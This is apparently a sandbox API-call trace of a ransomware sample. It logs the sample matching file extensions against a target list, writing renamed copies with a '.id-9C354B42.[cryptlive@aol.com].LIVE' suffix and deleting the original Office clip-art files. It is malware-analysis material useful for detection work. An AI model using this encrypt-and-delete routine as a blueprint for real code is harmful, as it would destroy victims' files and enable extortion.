lstrlenW (lpString=".xlsx") returned 5 [0140.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.390] lstrlenW (lpString=".ppt") returned 4 [0140.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.390] lstrlenW (lpString=".zip") returned 4 [0140.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.390] lstrlenW (lpString=".rar") returned 4 [0140.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString=".bz2") returned 4 [0140.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString=".7z") returned 3 [0140.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.390] lstrlenW (lpString=".dbf") returned 4 [0140.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.390] lstrlenW (lpString=".1cd") returned 4 [0140.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0140.390] lstrlenW (lpString=".jpg") returned 4 [0140.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.390] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.391] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0140.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.403] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2422) returned 1 [0140.403] CloseHandle (hObject=0x314) returned 1 [0140.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0140.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.403] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.403] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.404] GetLastError () returned 0x0 [0140.404] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x976, lpOverlapped=0x0) returned 1 [0140.407] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x980, lpOverlapped=0x0) returned 1 [0140.408] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.408] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.408] SetEndOfFile (hFile=0x3ac) returned 1 [0140.408] CloseHandle (hObject=0x3ac) returned 1 [0140.408] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.408] SetEndOfFile (hFile=0x314) returned 1 [0140.411] CloseHandle (hObject=0x314) returned 1 [0140.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0140.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.412] lstrlenW (lpString=".doc") returned 4 [0140.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".docx") returned 5 [0140.412] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0140.412] lstrlenW (lpString=".pdf") returned 4 [0140.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".xls") returned 4 [0140.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.412] lstrlenW (lpString=".xlsx") returned 5 [0140.412] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0140.412] lstrlenW (lpString=".ppt") returned 4 [0140.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.412] lstrlenW (lpString=".zip") returned 4 [0140.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.412] lstrlenW (lpString=".rar") returned 4 [0140.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".bz2") returned 4 [0140.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString=".7z") returned 3 [0140.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.412] lstrlenW (lpString=".dbf") returned 4 [0140.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.412] lstrlenW (lpString=".1cd") returned 4 [0140.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString=".jpg") returned 4 [0140.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString=".doc") returned 4 [0140.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString=".docx") returned 5 [0140.413] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0140.413] lstrlenW (lpString=".pdf") returned 4 [0140.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString=".xls") returned 4 [0140.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.413] lstrlenW (lpString=".xlsx") returned 5 [0140.413] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0140.413] lstrlenW (lpString=".ppt") returned 4 [0140.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString=".zip") returned 4 [0140.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.413] lstrlenW (lpString=".rar") returned 4 [0140.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString=".bz2") returned 4 [0140.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString=".7z") returned 3 [0140.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString=".dbf") returned 4 [0140.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString=".1cd") returned 4 [0140.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0140.413] lstrlenW (lpString=".jpg") returned 4 [0140.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.414] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.414] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0140.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.414] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2262) returned 1 [0140.414] CloseHandle (hObject=0x314) returned 1 [0140.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0140.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.415] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.415] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.415] GetLastError () returned 0x0 [0140.415] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0140.417] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0140.418] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.418] WriteFile (in: hFile=0x3ac, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.418] SetEndOfFile (hFile=0x3ac) returned 1 [0140.418] CloseHandle (hObject=0x3ac) returned 1 [0140.419] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.419] SetEndOfFile (hFile=0x314) returned 1 [0140.421] CloseHandle (hObject=0x314) returned 1 [0140.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.422] lstrlenW (lpString=".doc") returned 4 [0140.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString=".docx") returned 5 [0140.422] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0140.422] lstrlenW (lpString=".pdf") returned 4 [0140.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString=".xls") returned 4 [0140.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.422] lstrlenW (lpString=".xlsx") returned 5 [0140.422] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0140.422] lstrlenW (lpString=".ppt") returned 4 [0140.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.422] lstrlenW (lpString=".zip") returned 4 [0140.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.422] lstrlenW (lpString=".rar") returned 4 [0140.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString=".bz2") returned 4 [0140.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString=".7z") returned 3 [0140.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.422] lstrlenW (lpString=".dbf") returned 4 [0140.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.422] lstrlenW (lpString=".1cd") returned 4 [0140.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString=".jpg") returned 4 [0140.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString=".doc") returned 4 [0140.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString=".docx") returned 5 [0140.423] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0140.423] lstrlenW (lpString=".pdf") returned 4 [0140.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString=".xls") returned 4 [0140.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.423] lstrlenW (lpString=".xlsx") returned 5 [0140.423] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0140.423] lstrlenW (lpString=".ppt") returned 4 [0140.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString=".zip") returned 4 [0140.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.423] lstrlenW (lpString=".rar") returned 4 [0140.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString=".bz2") returned 4 [0140.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString=".7z") returned 3 [0140.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString=".dbf") returned 4 [0140.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString=".1cd") returned 4 [0140.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0140.423] lstrlenW (lpString=".jpg") returned 4 [0140.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.424] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.424] lstrlenW (lpString="CLIP.WMF") returned 8 [0140.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.575] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2262) returned 1 [0140.575] CloseHandle (hObject=0x2f8) returned 1 [0140.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0140.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.576] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.576] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.577] GetLastError () returned 0x0 [0140.577] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0140.578] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0140.579] ReadFile (in: hFile=0x2f8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.580] WriteFile (in: hFile=0x1e4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0140.580] SetEndOfFile (hFile=0x1e4) returned 1 [0140.580] CloseHandle (hObject=0x1e4) returned 1 [0140.580] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.580] SetEndOfFile (hFile=0x2f8) returned 1 [0140.582] CloseHandle (hObject=0x2f8) returned 1 [0140.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0140.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.583] lstrlenW (lpString=".doc") returned 4 [0140.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.583] lstrlenW (lpString=".docx") returned 5 [0140.583] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0140.583] lstrlenW (lpString=".pdf") returned 4 [0140.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.583] lstrlenW (lpString=".xls") returned 4 [0140.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.583] lstrlenW (lpString=".xlsx") returned 5 [0140.583] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0140.583] lstrlenW (lpString=".ppt") returned 4 [0140.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.583] lstrlenW (lpString=".zip") returned 4 [0140.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.584] lstrlenW (lpString=".rar") returned 4 [0140.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString=".bz2") returned 4 [0140.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString=".7z") returned 3 [0140.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.584] lstrlenW (lpString=".dbf") returned 4 [0140.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.584] lstrlenW (lpString=".1cd") returned 4 [0140.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.584] lstrlenW (lpString=".jpg") returned 4 [0140.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.584] lstrlenW (lpString=".doc") returned 4 [0140.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString=".docx") returned 5 [0140.584] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0140.584] lstrlenW (lpString=".pdf") returned 4 [0140.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString=".xls") returned 4 [0140.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.584] lstrlenW (lpString=".xlsx") returned 5 [0140.584] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0140.584] lstrlenW (lpString=".ppt") returned 4 [0140.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0140.584] lstrlenW (lpString=".zip") returned 4 [0140.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.584] lstrlenW (lpString=".rar") returned 4 [0140.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.584] lstrlenW (lpString=".bz2") returned 4 [0140.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.585] lstrlenW 